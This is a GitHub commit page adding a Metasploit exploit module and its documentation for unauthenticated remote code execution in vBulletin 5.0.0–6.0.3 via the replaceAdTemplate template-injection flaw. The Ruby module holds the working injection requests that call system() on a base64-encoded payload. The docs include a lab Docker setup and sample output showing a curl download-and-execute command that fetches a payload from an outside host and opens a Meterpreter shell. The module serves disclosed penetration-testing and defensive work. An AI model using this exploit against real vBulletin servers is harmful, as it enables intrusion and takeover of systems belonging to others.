Skip to content

Commit c0dfbf4

Browse files
authored
Merge pull request #20235 from Chocapikk/vbulletin_replace_ad_template_rce
vBulletin replaceAdTemplate Remote Code Execution
2 parents 5ff0588 + 33439fc commit c0dfbf4

File tree

2 files changed

+316
-0
lines changed

2 files changed

+316
-0
lines changed
Lines changed: 173 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template
4+
rendering system, affecting **vBulletin 5.0.0 through 6.0.3** on **PHP 8.1+**.
5+
An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls
6+
`"system"("base64_decode"($_POST[<param>]))`, then trigger execution via the `ajax/render/ad_<location>` endpoint,
7+
yielding arbitrary code execution as the webserver user.
8+
9+
> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`.
10+
11+
---
12+
13+
## To replicate vulnerable environments
14+
15+
1. **vBulletin 6.0.1 (tested)**
16+
17+
* Purchase and download vBulletin 6.0.1 from the official portal.
18+
* Extract all files into `./upload/`.
19+
20+
2. **Other versions (5.0.0–6.0.3)**
21+
22+
* Repeat the above with any of the supported versions.
23+
* Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw.
24+
25+
---
26+
27+
## Docker Compose Configuration
28+
29+
```yaml
30+
services:
31+
db:
32+
image: mysql:5.7
33+
container_name: vbulletin_db
34+
restart: unless-stopped
35+
environment:
36+
MYSQL_ROOT_PASSWORD: root_password_here
37+
MYSQL_DATABASE: vbulletin
38+
MYSQL_USER: vbulletin
39+
MYSQL_PASSWORD: vb_password_here
40+
volumes:
41+
- db_data:/var/lib/mysql
42+
43+
web:
44+
build: .
45+
container_name: vbulletin_web
46+
depends_on: [db]
47+
ports: ["8888:80"]
48+
environment:
49+
VB_DB_HOST: db
50+
VB_DB_NAME: vbulletin
51+
VB_DB_USER: vbulletin
52+
VB_DB_PASS: vb_password_here
53+
54+
volumes:
55+
db_data:
56+
```
57+
58+
Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory:
59+
60+
**Dockerfile**
61+
62+
```dockerfile
63+
FROM php:8.1-apache
64+
65+
COPY upload/ /var/www/html/
66+
67+
RUN apt-get update && \
68+
apt-get install -y --no-install-recommends \
69+
libzip-dev zlib1g-dev libonig-dev \
70+
libpng-dev libjpeg-dev libfreetype6-dev && \
71+
docker-php-ext-install \
72+
zip mysqli pdo_mysql gd mbstring && \
73+
a2enmod rewrite && \
74+
rm -rf /var/lib/apt/lists/*
75+
76+
RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini
77+
78+
COPY --chmod 755 docker-entrypoint.sh /usr/local/bin/
79+
ENTRYPOINT ["docker-entrypoint.sh"]
80+
CMD ["apache2-foreground"]
81+
```
82+
83+
**docker-entrypoint.sh**
84+
85+
```bash
86+
#!/bin/bash
87+
chown -R www-data:www-data /var/www/html
88+
exec "$@"
89+
```
90+
91+
---
92+
93+
## Verification Steps
94+
95+
1. **Start the environment**
96+
```bash
97+
docker-compose up -d
98+
```
99+
100+
2. **Install vBulletin**
101+
Open [http://localhost:8888](http://localhost:8888) and complete the installation:
102+
103+
* **Database Host:** db
104+
* **DB Name:** vbulletin
105+
* **DB User:** vbulletin
106+
* **DB Password:** vb_password_here
107+
108+
3. **Run `msfconsole`**
109+
110+
```bash
111+
use exploit/multi/http/vbulletin_replace_ad_template_rce
112+
set RHOSTS 127.0.0.1
113+
set RPORT 8888
114+
set TARGETURI /
115+
check
116+
```
117+
118+
---
119+
120+
## Options
121+
122+
No option
123+
124+
---
125+
126+
## Scenarios
127+
128+
### Unauthenticated Pre-Auth RCE
129+
130+
1. Ensure vBulletin 5.0.0–6.0.3 is installed and running on PHP 8.1+.
131+
2. In `msfconsole`, configure and run:
132+
133+
```bash
134+
set RHOSTS localhost
135+
set RPORT 8888
136+
set TARGETURI /
137+
```
138+
139+
---
140+
141+
## Expected Results
142+
143+
### With `cmd/linux/http/x64/meterpreter/reverse_tcp`
144+
145+
```plaintext
146+
msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
147+
[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi&
148+
[*] Fetch handler listening on 192.168.1.36:8080
149+
[*] HTTP server started
150+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
151+
[*] Started reverse TCP handler on 192.168.1.36:4444
152+
[*] Running automatic check ("set AutoCheck false" to disable)
153+
[*] Starting vulnerability check on 127.0.0.1:8888/
154+
[*] Generating random marker and condition for mode check
155+
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp)
156+
[*] Injection response: HTTP 200
157+
[+] Marker found in injection response body
158+
[+] The target is vulnerable.
159+
[*] Generating random marker and condition for mode exploit
160+
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS)
161+
[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA
162+
[*] Sending payload to 172.28.0.3 (curl/7.88.1)
163+
[*] Transmitting intermediate stager...(126 bytes)
164+
[*] Sending stage (3045380 bytes) to 172.28.0.3
165+
[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200
166+
167+
meterpreter > sysinfo
168+
Computer : 172.28.0.3
169+
OS : Debian 12.11 (Linux 6.14.8-2-cachyos)
170+
Architecture : x64
171+
BuildTuple : x86_64-linux-musl
172+
Meterpreter : x64/linux
173+
```
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'vBulletin replaceAdTemplate Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
19+
present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers
20+
to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint,
21+
due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.
22+
23+
Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template
24+
containing a <vb:if> conditional that evaluates attacker-supplied PHP using the
25+
"system"($_POST[<param>]) construct. The malicious template is then executed via
26+
a second unauthenticated request to ajax/render/ad_<location>.
27+
28+
Successful exploitation results in arbitrary command execution as the webserver user,
29+
without authentication. This module supports payloads for PHP, Linux, and Windows.
30+
31+
Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1.
32+
},
33+
'Author' => [
34+
'Egidio Romano (EgiX)', # original PoC
35+
'Valentin Lobstein' # Metasploit module
36+
],
37+
'References' => [
38+
['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'],
39+
['CVE', '2025-48827'],
40+
['CVE', '2025-48828']
41+
],
42+
'License' => MSF_LICENSE,
43+
'Platform' => %w[unix linux windows],
44+
'Arch' => [ARCH_CMD],
45+
'Targets' => [
46+
[
47+
'Unix/Linux Command Shell',
48+
{
49+
'Platform' => %w[unix linux],
50+
'Arch' => ARCH_CMD
51+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52+
}
53+
],
54+
[
55+
'Windows Command Shell',
56+
{
57+
'Platform' => 'win',
58+
'Arch' => ARCH_CMD
59+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
60+
}
61+
],
62+
],
63+
'DefaultTarget' => 0,
64+
'DisclosureDate' => '2025-05-23',
65+
'Notes' => {
66+
'Stability' => [CRASH_SAFE],
67+
'Reliability' => [REPEATABLE_SESSION],
68+
'SideEffects' => [IOC_IN_LOGS]
69+
}
70+
)
71+
)
72+
end
73+
74+
def check
75+
vprint_status("Starting vulnerability check on #{rhost}:#{rport}#{target_uri.path}")
76+
inject_and_trigger(:check) ? CheckCode::Vulnerable : CheckCode::Safe
77+
end
78+
79+
def exploit
80+
inject_and_trigger(:exploit, payload: payload.encoded)
81+
end
82+
83+
def inject_and_trigger(mode, payload: nil)
84+
marker, location, param = Array.new(3) { Rex::Text.rand_text_alpha(5, 8) }
85+
pattern = /string\(#{marker.length}\) "#{marker}"/
86+
87+
vprint_status("Generating random marker and condition for mode #{mode}")
88+
if mode == :check
89+
condition = %{"var_dump"("#{marker}")}
90+
trigger_value = Rex::Text.encode_base64(marker)
91+
else
92+
encoded_payload = Rex::Text.encode_base64(payload)
93+
# Sadly we can't use `eval()` here as it's a language construct and we need a proper function.
94+
condition = %{"system"("base64_decode"("#{encoded_payload}"))}
95+
end
96+
97+
template = "<vb:if condition='#{condition}'></vb:if>"
98+
99+
vprint_status("Sending POST to ajax/api/ad/replaceAdTemplate (location=#{location})")
100+
inj = send_request_cgi(
101+
'method' => 'POST',
102+
'uri' => normalize_uri(target_uri.path),
103+
'vars_post' => {
104+
'routestring' => 'ajax/api/ad/replaceAdTemplate',
105+
'styleid' => '1', # Can't randomize this value
106+
'location' => location,
107+
'template' => template
108+
}
109+
)
110+
111+
if mode == :check
112+
return true if handle_check_response(inj, pattern, 'injection')
113+
114+
render_vars = { 'routestring' => "ajax/render/ad_#{location}" }
115+
render_vars[param] = trigger_value
116+
117+
vprint_status("Sending POST to ajax/render/ad_#{location} to trigger execution")
118+
render = send_request_cgi(
119+
'method' => 'POST',
120+
'uri' => normalize_uri(target_uri.path),
121+
'vars_post' => render_vars
122+
)
123+
return handle_check_response(render, pattern, 'trigger')
124+
end
125+
126+
true
127+
end
128+
129+
def handle_check_response(response, pattern, stage)
130+
vprint_status("#{stage.capitalize} response: HTTP #{response&.code}")
131+
unless response&.code == 200
132+
vprint_error("#{stage.capitalize} request failed (HTTP #{response&.code || 'nil'})")
133+
return false
134+
end
135+
if response.body.match?(pattern)
136+
vprint_good("Marker found in #{stage} response body")
137+
true
138+
else
139+
vprint_error("Marker not found in #{stage} response body")
140+
false
141+
end
142+
end
143+
end

0 commit comments

Comments
 (0)